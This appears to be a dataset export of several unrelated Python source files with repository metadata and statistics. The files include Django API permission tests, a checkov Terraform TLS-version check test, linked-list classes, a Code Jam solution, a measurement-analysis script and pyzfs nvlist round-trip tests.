{"2.3.3-2.5.4": post_toggle_enable_alert}, "post_test_alert": {"2.3.3-2.5.4": post_test_alert}, }

34.183603

135

0.638494

10,430

88,809

5.142953

0.022339

0.040268

0.052721

0.048172

0.955873

0.950765

0.94493

0.938032

0.921515

0.913014

0

0.016789

0.27701

88,809

2,597

136

34.196766

0.818636

0.436803

0

0.855556

0

0.147673

0.037556

0

1

0.025185

false

0

0.004444

0

0.056296

0

null

0

1

0

1

0

null

0

7

7fb1abd63123636bb1451f544699b043b5620c49

123

py

Python

graphite_feeder/handler/appliance/curtain/__init__.py

majamassarini/automate-graphite-feeder

0f17f99bbdaab86e10e0b7d424d055ff44fc4ca0

[ "MIT" ]

null

graphite_feeder/handler/appliance/curtain/__init__.py

majamassarini/automate-graphite-feeder

0f17f99bbdaab86e10e0b7d424d055ff44fc4ca0

[ "MIT" ]

null

graphite_feeder/handler/appliance/curtain/__init__.py

majamassarini/automate-graphite-feeder

0f17f99bbdaab86e10e0b7d424d055ff44fc4ca0

[ "MIT" ]

null

from graphite_feeder.handler.appliance.curtain import outdoor from graphite_feeder.handler.appliance.curtain import indoor

41

61

0.886179

16

123

6.6875

0.5625

0.224299

0.336449

0.46729

0.878505

0

0.065041

123

2

62

61.5

0.930435

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

11

7fbc6e340fce4c02ff9a98352cccc489c8a6c28b

2,621

py

Python

biosys/apps/main/tests/api/test_explorer.py

florianm/biosys

934d06ed805b0734f3cb9a00feec6cd81a94e512

[ "Apache-2.0" ]

1

2020-08-24T02:44:36.000Z

biosys/apps/main/tests/api/test_explorer.py

florianm/biosys

934d06ed805b0734f3cb9a00feec6cd81a94e512

[ "Apache-2.0" ]

19

2016-09-29T01:03:18.000Z

2021-07-02T06:54:05.000Z

biosys/apps/main/tests/api/test_explorer.py

florianm/biosys

934d06ed805b0734f3cb9a00feec6cd81a94e512

[ "Apache-2.0" ]

5

2018-12-20T05:36:28.000Z

2021-09-29T00:44:31.000Z

from django.test import override_settings from rest_framework import status from main.tests.api import helpers class TestSwaggerPermission(helpers.BaseUserTestCase): """ If server allows public registration, swagger should only accessible to admin and data_engineers. Otherwise it should be only for authenticated user. """ @override_settings(ALLOW_PUBLIC_REGISTRATION=False) def test_no_public_registration(self): url = '/api/explorer' forbidden = [ self.anonymous_client, ] for client in forbidden: response = client.get(url, follow=True) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) # Something is weird here. When trying to use the /api/explorer end point the unit tests break after the first # successful get!! The error is database already closed ?? # (django.db.utils.InterfaceError: connection already closed) # By using the following url it works. This url has the same permission as the /api/swagger # TODO: fix the issue described above url = '/api/swagger.json' allowed = [ self.readonly_client, self.custodian_1_client, self.data_engineer_1_client, self.admin_client ] for client in allowed: response = client.get(url, follow=True) self.assertEqual(response.status_code, status.HTTP_200_OK) @override_settings(ALLOW_PUBLIC_REGISTRATION=True) def test_public_registration(self): url = '/api/explorer' forbidden = [ self.anonymous_client, self.readonly_client, self.custodian_1_client, self.custodian_2_client, ] for client in forbidden: response = client.get(url, follow=True) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) # Something is weird here. When trying to use the /api/explorer end point the unit tests break after the first # successful get!! The error is database already closed ?? # (django.db.utils.InterfaceError: connection already closed) # By using the following url it works. This url has the same permission as the /api/swagger # TODO: fix the issue described above url = '/api/swagger.json' allowed = [ self.data_engineer_1_client, self.admin_client ] for client in allowed: response = client.get(url, follow=True) self.assertEqual(response.status_code, status.HTTP_200_OK)

40.953125

118

0.658909

316

2,621

5.325949

0.31962

0.041592

0.035651

0.040404

0.819964

0.773619

0.728461

0

0.008915

0.272415

2,621

63

119

41.603175

0.873623

0.32583

0

0.697674

0

0.034522

0

0.015873

0.093023

1

0.046512

false

0

0.069767

0

0.139535

0

null

0

1

0

null

0

1

0

7

f6880e885b90b2973a58e11ed0cc7b00c5e90f3f

39

py

Python

src/tests/core/utils/test_data/relative_modules/tmp_utils.py

cdev-framework/cdev-sdk

06cd7b40936ab063d1d8fd1a7d9f6882750e8a96

[ "BSD-3-Clause-Clear" ]

2

2022-02-28T02:51:59.000Z

2022-03-24T15:23:18.000Z

src/tests/core/utils/test_data/relative_modules/tmp_utils.py

cdev-framework/cdev-sdk

06cd7b40936ab063d1d8fd1a7d9f6882750e8a96

[ "BSD-3-Clause-Clear" ]

null

src/tests/core/utils/test_data/relative_modules/tmp_utils.py

cdev-framework/cdev-sdk

06cd7b40936ab063d1d8fd1a7d9f6882750e8a96

[ "BSD-3-Clause-Clear" ]

null

import math def do_stuff(): pass

6.5

15

0.641026

6

39

4

1

0

0.282051

39

5

16

7.8

0.857143

0

1

0.333333

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

8

f6b5ebde54272f808898f1c1a38f4c020b2d400e

2,371

py

Python

tests/terraform/checks/resource/azure/test_MSSQLServerMinTLSVersion.py

kylelaker/checkov

6eada26030a87f397a6bf1831827b3dc6c5dad2d

[ "Apache-2.0" ]

4,013

2019-12-09T13:16:54.000Z

2022-03-31T14:31:01.000Z

tests/terraform/checks/resource/azure/test_MSSQLServerMinTLSVersion.py

kylelaker/checkov

6eada26030a87f397a6bf1831827b3dc6c5dad2d

[ "Apache-2.0" ]

1,258

2019-12-17T09:55:51.000Z

2022-03-31T19:17:17.000Z

tests/terraform/checks/resource/azure/test_MSSQLServerMinTLSVersion.py

kylelaker/checkov

6eada26030a87f397a6bf1831827b3dc6c5dad2d

[ "Apache-2.0" ]

638

2019-12-19T08:57:38.000Z

2022-03-30T21:38:37.000Z

import unittest import hcl2 from checkov.terraform.checks.resource.azure.MSSQLServerMinTLSVersion import check from checkov.common.models.enums import CheckResult class TestMSSQLServerMinTLSVersion(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server" "examplea" { name = var.server_name resource_group_name = var.resource_group.name location = var.resource_group.location version = var.sql["version"] administrator_login = var.sql["administrator_login"] administrator_login_password = local.administrator_login_password minimum_tls_version = "1.1" public_network_access_enabled = var.sql["public_network_access_enabled"] identity { type = "SystemAssigned" } tags = var.common_tags } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_mssql_server" "examplea" { name = var.server_name resource_group_name = var.resource_group.name location = var.resource_group.location version = var.sql["version"] administrator_login = var.sql["administrator_login"] administrator_login_password = local.administrator_login_password minimum_tls_version = "1.2" public_network_access_enabled = var.sql["public_network_access_enabled"] identity { type = "SystemAssigned" } tags = var.common_tags } """) resource_conf = hcl_res['resource'][0]['azurerm_mssql_server']['examplea'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main()

42.339286

86

0.571911

215

2,371

5.962791

0.283721

0.112324

0.056162

0.081123

0.784711

0

0.005837

0.349642

2,371

55

87

43.109091

0.825551

0

0.638298

0

0.688317

0.196542

0

0.042553

1

0.042553

false

0.06383

0.085106

0

0.148936

0

null

0

1

0

1

0

null

0

1

0

7

f6d8ec81f77c39556cbf880c710f183e1376c09e

1,702

py

Python

campyStructs/linkedList.py

Cammac7/campyStructs

05f7b730e82dce84bd78692db9d7a0c1d2ceefc2

[ "MIT" ]

null

campyStructs/linkedList.py

Cammac7/campyStructs

05f7b730e82dce84bd78692db9d7a0c1d2ceefc2

[ "MIT" ]

null

campyStructs/linkedList.py

Cammac7/campyStructs

05f7b730e82dce84bd78692db9d7a0c1d2ceefc2

[ "MIT" ]

null

class NodeS: def __init__(self,value): self.value = value self.next = None class NodeD: def __init__(self,value): self.value = value self.next = None self.previous = None class singleLL: def __init__(self): self.head = None def addNode(self, value): newNode = NodeS(value) if self.head == None: self.head = newNode else: newNode.next = self.head self.head = newNode def addNodeEnd(self, value): newNode = NodeS(value) current = self.head while current.next != None: current = current.next current.next = newNode def search(self, value): if self.head == None: return False current = self.head while currrent.next != None: if current.value == value: return current current = current.next class doubleLL: def __init__(self): self.head = None def addNode(self, value): newNode = NodeD(value) if self.head == None: self.head = newNode else: newNode.next = self.head self.head = newNode def addNodeEnd(self, value): newNode = NodeD(value) current = self.head while current.next != None: current = current.next current.next = newNode newNode.previous = current def search(self, value): if self.head == None: return False current = self.head while currrent.next != None: if current.value == value: return current current = current.next

24.666667

38

0.537015

182

1,702

4.934066

0.131868

0.142539

0.080178

0.066815

0.906459

0.884187

0

0.377203

1,702

68

39

25.029412

0.84717

0

0.896552

0

1

0.172414

false

0

0.310345

0

null

0

1

0

1

0

null

0

7

1217e37efe0d651d3989ff366c26267a92828dac

291

py

Python

maskprop/MiVOS/util/load_subset.py

qinliuliuqin/iSegFormer

67b634588cc0a1e09fb3e092966eae997eb209fa

[ "MIT" ]

14

2021-12-09T08:33:23.000Z

2022-03-26T13:11:01.000Z

maskprop/MiVOS/util/load_subset.py

qinliuliuqin/iSegFormer

67b634588cc0a1e09fb3e092966eae997eb209fa

[ "MIT" ]

null

maskprop/MiVOS/util/load_subset.py

qinliuliuqin/iSegFormer

67b634588cc0a1e09fb3e092966eae997eb209fa

[ "MIT" ]

null

def load_sub_davis(path='util/davis_subset.txt'): with open(path, mode='r') as f: subset = set(f.read().splitlines()) return subset def load_sub_yv(path='util/yv_subset.txt'): with open(path, mode='r') as f: subset = set(f.read().splitlines()) return subset

29.1

49

0.639175

46

291

3.913043

0.413043

0.077778

0.111111

0.188889

0.722222

0

0.195876

291

9

50

32.333333

0.769231

0

0.75

0

0.140893

0.072165

0

1

0.25

false

0

0.5

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

9

89eb4a3c99311bea94801159d5d2356f70325db3

450

py

Python

tests/integration/test_solvers.py

bcyran/tsp-visual

31acac8c07533177784b48418a03da398acba508

[ "MIT" ]

null

tests/integration/test_solvers.py

bcyran/tsp-visual

31acac8c07533177784b48418a03da398acba508

[ "MIT" ]

null

tests/integration/test_solvers.py

bcyran/tsp-visual

31acac8c07533177784b48418a03da398acba508

[ "MIT" ]

null

import unittest from tspvisual.solvers.bf import BFSolver from tspvisual.solvers.bnb import BnBSolver from tspvisual.solvers.greedy import GreedySolver class TestSolvers(unittest.TestCase): def test_greedy(self): # TODO: Implement pass def test_bf(self): # TODO: Implement pass def test_bnb(self): # TODO: Implement pass def test_dp(self): # TODO: Implement pass

18

49

0.651111

52

450

5.557692

0.403846

0.096886

0.235294

0.290657

0

0.282222

450

24

50

18.75

0.894737

0.14

0

0.307692

0

0.041667

0

1

0.307692

false

0.307692

0

0.692308

0

null

0

1

0

null

0

1

0

1

0

1

0

1

0

7

d6103f33964b3afe62f3d71fb2010858d345828c

153

py

Python

table/tests/__init__.py

lzq941129/django-datatable

81a7f9eeb75250a766db3ed1e1fd11517cf2b0f0

[ "MIT" ]

179

2015-03-25T01:35:51.000Z

2021-12-29T14:40:16.000Z

table/tests/__init__.py

lzq941129/django-datatable

81a7f9eeb75250a766db3ed1e1fd11517cf2b0f0

[ "MIT" ]

58

2015-01-19T10:30:47.000Z

2020-11-11T18:12:50.000Z

table/tests/__init__.py

lzq941129/django-datatable

81a7f9eeb75250a766db3ed1e1fd11517cf2b0f0

[ "MIT" ]

79

2015-03-13T09:06:33.000Z

2022-03-10T18:54:54.000Z

from table.tests.test_columns import * from table.tests.test_tables import * from table.tests.test_views import * from table.tests.test_widgets import *

30.6

38

0.816993

24

153

5.041667

0.375

0.297521

0.46281

0.595041

0

0.104575

153

4

39

38.25

0.883212

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

d6564b8b8408a05adf3718d6d3a8c22f2936ec1f

6,082

py

Python

Code Jam 2019/1A/d.py

IshanManchanda/competitive-python

e9ee5fc48eaea0497ec13e8af5f89da6ac050526

[ "MIT" ]

6

2019-06-06T15:16:05.000Z

2020-07-30T01:56:53.000Z

Code Jam 2019/1A/d.py

IshanManchanda/competitive-python

e9ee5fc48eaea0497ec13e8af5f89da6ac050526

[ "MIT" ]

null

Code Jam 2019/1A/d.py

IshanManchanda/competitive-python

e9ee5fc48eaea0497ec13e8af5f89da6ac050526

[ "MIT" ]

1

2020-03-22T21:41:53.000Z

def main(): from sys import stdin, stdout rl = stdin.readline wl = stdout.write int1 = int letts = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' t = int1(rl()) for tn in range(1, t + 1): n = int1(rl()) words = {l: [] for l in letts} for _ in range(n): a = rl().strip()[::-1] words[a[0]].append(a[1:]) for key in list(words.keys()): if len(words[key]) < 2: del words[key] if len(words) == 3: wl("Case #%d: %d\n" % (tn, 6)) continue elif len(words) == 2: k = '' for key, value in words.items(): if len(value) == 4: k = key break else: wl("Case #%d: %d\n" % (tn, 4)) continue s = 4 if len(words[k]) == 4: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][2][0] == words[k][3][0]): s += 2 wl("Case #%d: %d\n" % (tn, s)) elif len(words) == 1: k = '' for key, value in words.items(): k = key if len(value) < 4: wl("Case #%d: %d\n" % (tn, 2)) continue if len(words[k]) == 4: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][2][0] == words[k][3][0]): wl("Case #%d: %d\n" % (tn, 4)) else: wl("Case #%d: %d\n" % (tn, 2)) continue elif len(words[k]) == 5: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][0][0] == words[k][4][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][1][0] == words[k][4][0] or words[k][2][0] == words[k][3][0] or words[k][2][0] == words[k][4][0] or words[k][3][0] == words[k][4][0]): wl("Case #%d: %d\n" % (tn, 4)) else: wl("Case #%d: %d\n" % (tn, 2)) continue new_words = {l: [] for l in letts} for word in words[k]: if len(word) > 0: new_words[word[0]].append(word[1:]) words = new_words for key in list(words.keys()): if len(words[key]) < 2: del words[key] if len(words) == 3: wl("Case #%d: %d\n" % (tn, 6)) continue elif len(words) == 2: k = '' for key, value in words.items(): if len(value) == 4: k = key break else: wl("Case #%d: %d\n" % (tn, 4)) continue s = 4 if len(words[k]) == 4: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][2][0] == words[k][3][0]): s += 2 wl("Case #%d: %d\n" % (tn, s)) elif len(words) == 1: k = '' for key, value in words.items(): k = key if len(value) < 4: wl("Case #%d: %d\n" % (tn, 2)) continue if len(words[k]) == 4: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][2][0] == words[k][3][0]): wl("Case #%d: %d\n" % (tn, 4)) else: wl("Case #%d: %d\n" % (tn, 2)) continue elif len(words[k]) == 5: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][0][0] == words[k][4][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][1][0] == words[k][4][0] or words[k][2][0] == words[k][3][0] or words[k][2][0] == words[k][4][0] or words[k][3][0] == words[k][4][0]): wl("Case #%d: %d\n" % (tn, 4)) else: wl("Case #%d: %d\n" % (tn, 2)) continue new_words = {l: [] for l in letts} for word in words[k]: if len(word) > 0: new_words[word[0]].append(word[1:]) words = new_words for key in list(words.keys()): if len(words[key]) < 2: del words[key] if len(words) == 3: wl("Case #%d: %d\n" % (tn, 6)) continue elif len(words) == 2: k = '' for key, value in words.items(): if len(value) == 4: k = key break else: wl("Case #%d: %d\n" % (tn, 4)) continue s = 4 if len(words[k]) == 4: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][2][0] == words[k][3][0]): s += 2 wl("Case #%d: %d\n" % (tn, s)) elif len(words) == 1: k = '' for key, value in words.items(): k = key if len(value) < 4: wl("Case #%d: %d\n" % (tn, 2)) continue if len(words[k]) == 4: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][2][0] == words[k][3][0]): wl("Case #%d: %d\n" % (tn, 4)) else: wl("Case #%d: %d\n" % (tn, 2)) continue elif len(words[k]) == 5: if ( words[k][0][0] == words[k][1][0] or words[k][0][0] == words[k][2][0] or words[k][0][0] == words[k][3][0] or words[k][0][0] == words[k][4][0] or words[k][1][0] == words[k][2][0] or words[k][1][0] == words[k][3][0] or words[k][1][0] == words[k][4][0] or words[k][2][0] == words[k][3][0] or words[k][2][0] == words[k][4][0] or words[k][3][0] == words[k][4][0]): wl("Case #%d: %d\n" % (tn, 4)) else: wl("Case #%d: %d\n" % (tn, 2)) continue wl("Case #%d: %d\n" % (tn, 6)) else: wl("Case #%d: %d\n" % (tn, -1)) main()

25.554622

42

0.433574

1,120

6,082

2.348214

0.046429

0.326236

0.175665

0.195057

0.938023

0.920152

0

0.077965

0.295626

6,082

237

43

25.662447

0.535948

0

0.928571

0

0.064124

0.004275

0

1

0.004762

false

0

0.004762

0

0.009524

0

null

1

0

1

0

1

0

null

0

9

c3ac2082f03f546bdc77d0f87691e79d3f193578

2,582

py

Python

analyze/calc_run_20180104.py

JeroenvO/pulsedpowerplasmaplots

dd953359569826edfae321a039b6f9af2340d560

[ "MIT" ]

null

analyze/calc_run_20180104.py

JeroenvO/pulsedpowerplasmaplots

dd953359569826edfae321a039b6f9af2340d560

[ "MIT" ]

null

analyze/calc_run_20180104.py

JeroenvO/pulsedpowerplasmaplots

dd953359569826edfae321a039b6f9af2340d560

[ "MIT" ]

null

from analyze.calc_run import * # ozone spectrum had boxcar width of 8 with these, so measurements less accurate base = 'G:/Prive/MIJN-Documenten/TU/62-Stage/20180104-100hz/' dirs = glob.glob(base + '/run*') # length of used measure cell meas_len = SHORT_MEAS_LEN # capacitance of used reactor react_cap = REACTOR_GLASS_LONG # which column of log.xlsx contains the filename for scope. 0=volt, 1=freq, 2=pulsew scope_file_name_index = 0 # whether multiple scope spectra are stored for each measurement. If true, save as xxx_y.csv with y as index number scope_multiple = False # scaling for current sensor is not done in scope, do it manually current_scaling = -0.1 # 0.5 for red current probe in v-range, -0.1 for pearson (inverted) in v-range, -100 for mv range. # compensate for delay in line, in array index (=usually 1ns) delay = 0 for dir in dirs: run_dir = dir + '/' run_dir = run_dir.replace('\\', '/').replace('//', '/') if os.path.isdir(run_dir): print(run_dir) calc_run(run_dir, meas=meas_len, scope_file_name_index=scope_file_name_index, scope_multiple=scope_multiple, reactor=react_cap, current_scaling=current_scaling, delay=delay) else: print('Path ' + str(run_dir) + ' does not exist.') base = 'G:/Prive/MIJN-Documenten/TU/62-Stage/20180104-500hz/' dirs = glob.glob(base + '/run*') # length of used measure cell meas_len = SHORT_MEAS_LEN # capacitance of used reactor react_cap = REACTOR_GLASS_LONG # which column of log.xlsx contains the filename for scope. 0=volt, 1=freq, 2=pulsew scope_file_name_index = 0 # whether multiple scope spectra are stored for each measurement. If true, save as xxx_y.csv with y as index number scope_multiple = False # scaling for current sensor is not done in scope, do it manually current_scaling = -0.1 # 0.5 for red current probe in v-range, -0.1 for pearson (inverted) in v-range, -100 for mv range. # compensate for delay in line, in array index (=usually 1ns) delay = 0 for dir in dirs: run_dir = dir + '/' run_dir = run_dir.replace('\\', '/').replace('//', '/') if os.path.isdir(run_dir): print(run_dir) calc_run(run_dir, meas=meas_len, scope_file_name_index=scope_file_name_index, scope_multiple=scope_multiple, reactor=react_cap, current_scaling=current_scaling, delay=delay) else: print('Path ' + str(run_dir) + ' does not exist.')

38.537313

122

0.667699

392

2,582

4.232143

0.288265

0.050633

0.047016

0.065099

0.940326

0.890898

0

0.028817

0.233927

2,582

66

123

39.121212

0.809909

0.397366

0

0.933333

0

0.11039

0.067532

0

1

0

false

0

0.022222

0

0.022222

0.088889

0

null

0

1

0

1

0

null

0

7

c3c61142da5078ceb72f298933ffe3f1bc64834d

23,447

py

Python

libzfs_core/test/test_nvlist.py

chong601/pyzfs-rest-api

16d76416b869b9861353229506ab5633986c615f

[ "Apache-1.1" ]

null

libzfs_core/test/test_nvlist.py

chong601/pyzfs-rest-api

16d76416b869b9861353229506ab5633986c615f

[ "Apache-1.1" ]

null

libzfs_core/test/test_nvlist.py

chong601/pyzfs-rest-api

16d76416b869b9861353229506ab5633986c615f

[ "Apache-1.1" ]

null

# # Copyright 2015 ClusterHQ # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """ Tests for _nvlist module. The tests convert from a `dict` to C ``nvlist_t`` and back to a `dict` and verify that no information is lost and value types are correct. The tests also check that various error conditions like unsupported value types or out of bounds values are detected. """ from __future__ import absolute_import, division, print_function import unittest from .._nvlist import nvlist_in, nvlist_out, _lib from ..ctypes import ( uint8_t, int8_t, uint16_t, int16_t, uint32_t, int32_t, uint64_t, int64_t, boolean_t, uchar_t ) class TestNVList(unittest.TestCase): def _dict_to_nvlist_to_dict(self, props): res = {} nv_in = nvlist_in(props) with nvlist_out(res) as nv_out: _lib.nvlist_dup(nv_in, nv_out, 0) return res def _assertIntDictsEqual(self, dict1, dict2): self.assertEqual( len(dict1), len(dict1), b"resulting dictionary is of different size") for key in dict1.keys(): self.assertEqual(int(dict1[key]), int(dict2[key])) def _assertIntArrayDictsEqual(self, dict1, dict2): self.assertEqual( len(dict1), len(dict1), b"resulting dictionary is of different size") for key in dict1.keys(): val1 = dict1[key] val2 = dict2[key] self.assertEqual( len(val1), len(val2), b"array values of different sizes") for x, y in zip(val1, val2): self.assertEqual(int(x), int(y)) def test_empty(self): res = self._dict_to_nvlist_to_dict({}) self.assertEqual(len(res), 0, b"expected empty dict") def test_invalid_key_type(self): with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict({1: None}) def test_invalid_val_type__tuple(self): with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict({b"key": (1, 2)}) def test_invalid_val_type__set(self): with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict({b"key": set(1, 2)}) def test_invalid_array_val_type(self): with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict({b"key": [(1, 2), (3, 4)]}) def test_invalid_array_of_arrays_val_type(self): with self.assertRaises(TypeError): self._dict_to_nvlist_to_dict({b"key": [[1, 2], [3, 4]]}) def test_string_value(self): props = {b"key": b"value"} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_implicit_boolean_value(self): props = {b"key": None} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_boolean_values(self): props = {b"key1": True, b"key2": False} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_explicit_boolean_true_value(self): props = {b"key": boolean_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_boolean_false_value(self): props = {b"key": boolean_t(0)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_boolean_invalid_value(self): with self.assertRaises(OverflowError): props = {b"key": boolean_t(2)} self._dict_to_nvlist_to_dict(props) def test_explicit_boolean_another_invalid_value(self): with self.assertRaises(OverflowError): props = {b"key": boolean_t(-1)} self._dict_to_nvlist_to_dict(props) def test_uint64_value(self): props = {b"key": 1} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_uint64_max_value(self): props = {b"key": 2 ** 64 - 1} res = self._dict_to_nvlist_to_dict(props) self.assertEqual(props, res) def test_uint64_too_large_value(self): props = {b"key": 2 ** 64} with self.assertRaises(OverflowError): self._dict_to_nvlist_to_dict(props) def test_uint64_negative_value(self): props = {b"key": -1} with self.assertRaises(OverflowError): self._dict_to_nvlist_to_dict(props) def test_explicit_uint64_value(self): props = {b"key": uint64_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint64_max_value(self): props = {b"key": uint64_t(2 ** 64 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint64_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": uint64_t(2 ** 64)} self._dict_to_nvlist_to_dict(props) def test_explicit_uint64_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": uint64_t(-1)} self._dict_to_nvlist_to_dict(props) def test_explicit_uint32_value(self): props = {b"key": uint32_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint32_max_value(self): props = {b"key": uint32_t(2 ** 32 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint32_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": uint32_t(2 ** 32)} self._dict_to_nvlist_to_dict(props) def test_explicit_uint32_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": uint32_t(-1)} self._dict_to_nvlist_to_dict(props) def test_explicit_uint16_value(self): props = {b"key": uint16_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint16_max_value(self): props = {b"key": uint16_t(2 ** 16 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint16_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": uint16_t(2 ** 16)} self._dict_to_nvlist_to_dict(props) def test_explicit_uint16_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": uint16_t(-1)} self._dict_to_nvlist_to_dict(props) def test_explicit_uint8_value(self): props = {b"key": uint8_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint8_max_value(self): props = {b"key": uint8_t(2 ** 8 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_uint8_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": uint8_t(2 ** 8)} self._dict_to_nvlist_to_dict(props) def test_explicit_uint8_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": uint8_t(-1)} self._dict_to_nvlist_to_dict(props) def test_explicit_byte_value(self): props = {b"key": uchar_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_byte_max_value(self): props = {b"key": uchar_t(2 ** 8 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_byte_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": uchar_t(2 ** 8)} self._dict_to_nvlist_to_dict(props) def test_explicit_byte_negative_value(self): with self.assertRaises(OverflowError): props = {b"key": uchar_t(-1)} self._dict_to_nvlist_to_dict(props) def test_explicit_int64_value(self): props = {b"key": int64_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int64_max_value(self): props = {b"key": int64_t(2 ** 63 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int64_min_value(self): props = {b"key": int64_t(-(2 ** 63))} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int64_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": int64_t(2 ** 63)} self._dict_to_nvlist_to_dict(props) def test_explicit_int64_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": int64_t(-(2 ** 63) - 1)} self._dict_to_nvlist_to_dict(props) def test_explicit_int32_value(self): props = {b"key": int32_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int32_max_value(self): props = {b"key": int32_t(2 ** 31 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int32_min_value(self): props = {b"key": int32_t(-(2 ** 31))} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int32_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": int32_t(2 ** 31)} self._dict_to_nvlist_to_dict(props) def test_explicit_int32_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": int32_t(-(2 ** 31) - 1)} self._dict_to_nvlist_to_dict(props) def test_explicit_int16_value(self): props = {b"key": int16_t(1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int16_max_value(self): props = {b"key": int16_t(2 ** 15 - 1)} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int16_min_value(self): props = {b"key": int16_t(-(2 ** 15))} res = self._dict_to_nvlist_to_dict(props) self._assertIntDictsEqual(props, res) def test_explicit_int16_too_large_value(self): with self.assertRaises(OverflowError): props = {b"key": int16_t(2 ** 15)} self._dict_to_nvlist_to_dict(props) def test_explicit_int16_too_small_value(self): with self.assertRaises(OverflowError): props = {b"key": int16_t(-(2 ** 15) - 1)} self._dict_to_nvlist_to_dict(props) def test_explicit_int8_value(self): props = {b"key": 